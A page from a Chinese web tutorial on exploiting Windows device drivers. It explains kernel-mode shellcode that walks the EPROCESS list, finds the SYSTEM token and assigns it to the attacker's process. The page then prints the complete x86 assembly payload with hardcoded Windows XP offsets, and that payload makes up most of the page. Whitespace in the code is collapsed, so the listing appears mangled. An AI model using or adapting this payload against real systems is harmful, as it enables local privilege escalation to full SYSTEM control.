WEB开发网
开发学院网络安全安全技术 详解如何利用Windows设备驱动 阅读

详解如何利用Windows设备驱动

 2009-02-12 13:55:33 来源:WEB开发网   
核心提示: 关键点5:开发特定的内核模式shellcode因为我们攻击的是逻辑上的驱动,我们没有办法使用常用的shellcode,详解如何利用Windows设备驱动(9),我们可以使用少量的其他变量,比如windows syscall shellcode(公布在SecurityFocus,然后我们将它

关键点5:开发特定的内核模式shellcode

因为我们攻击的是逻辑上的驱动,我们没有办法使用常用的shellcode。我们可以使用少量的其他变量,比如windows syscall shellcode(公布在SecurityFocus,请参见参考文献)。但是有很多非常有用的例子,现在我就讨论下在Xcon 上Eyas 介绍到的shellcodde。

这个想法非常简单。首先,我们需要找到System的token,然后我们将它分配给我们的进程——这会将给我们的进程System权限。

步骤:

- 找到ETHREAD(位于fs:[0x124])

- 从ETHREAD开始遍历EPROCESS

- 我们使用EPROCESS.ActiveProcessLinks 检测所有运行中的进程

- 我们将运行中的进程的pid 与System的pid 比较(Windows XP 始终为4)

- 获得后,我们搜索我们进程的pid,并且讲System的token 分配给我们的进程

这里是完整的shellcode:

   ;------------------------------------------------------------
  ;DeviceDrivershellcode
  ;------------------------------------------------------------
  XP_PID_OFFSETequ084h;hardcodednumbersforWindowsXP
  XP_FLINK_OFFSETequ088h
  XP_TOKEN_OFFSETequ0C8h
  XP_SYS_PIDequ04h
  my_shellcodeproc
  pushad
  db0b8h;moveax,old_routine
  old_routinedd0;hardcoded
  db0b9h;movecx,routine_addr
  routine_addrdd0;thistoo
  mov[ecx],eax;restoreoldroutine
  ;avoidmultiplecalls...
  ;-----------------------------------------
  ;startescalationprocedure
  ;-----------------------------------------
  moveax,dwordptrfs:[124h]
  moveax,[eax+44h]
  pusheax;EAX=EPROCESS
  s1:moveax,[eax+XP_FLINK_OFFSET];EAX=
  EPROCESS.ActiveProcessLinks.Flink
  subeax,XP_FLINK_OFFSET;EAX=EPROCESSofnextprocess
  cmp[eax+XP_PID_OFFSET],XP_SYS_PID;UniqueProcessId==SYSTEMPID?
  jnes1;nope,continuesearch
  ;EAX=foundEPROCESS
  movedi,[eax+XP_TOKEN_OFFSET];ptrtoEPROCESS.token
  andedi,0fffffff8h;alignedby8
  popeax;EAX=EPROCESS
  db68h;hardcodedpush
  my_piddd0
  popebx;EBX=pidtoescalate
  s2:moveax,[eax+XP_FLINK_OFFSET];EAX=
  EPROCESS.ActiveProcessLinks.Flink
  subeax,XP_FLINK_OFFSET;EAX=EPROCESSofnextprocess
  cmp[eax+XP_PID_OFFSET],ebx;isitourPID???
  jnes2;nope,trynextone
  mov[eax+XP_TOKEN_OFFSET],edi;party'sover:)
  popad
  db68h;pushold_routine
  old_routine2dd0;ret
  ret
  my_shellcode_sizeequ$-offsetmy_shellcode
  my_shellcodeendp;

上一页  4 5 6 7 8 9 10  下一页

Tags:详解 如何 利用

编辑录入:爽爽 [复制链接] [打 印]
赞助商链接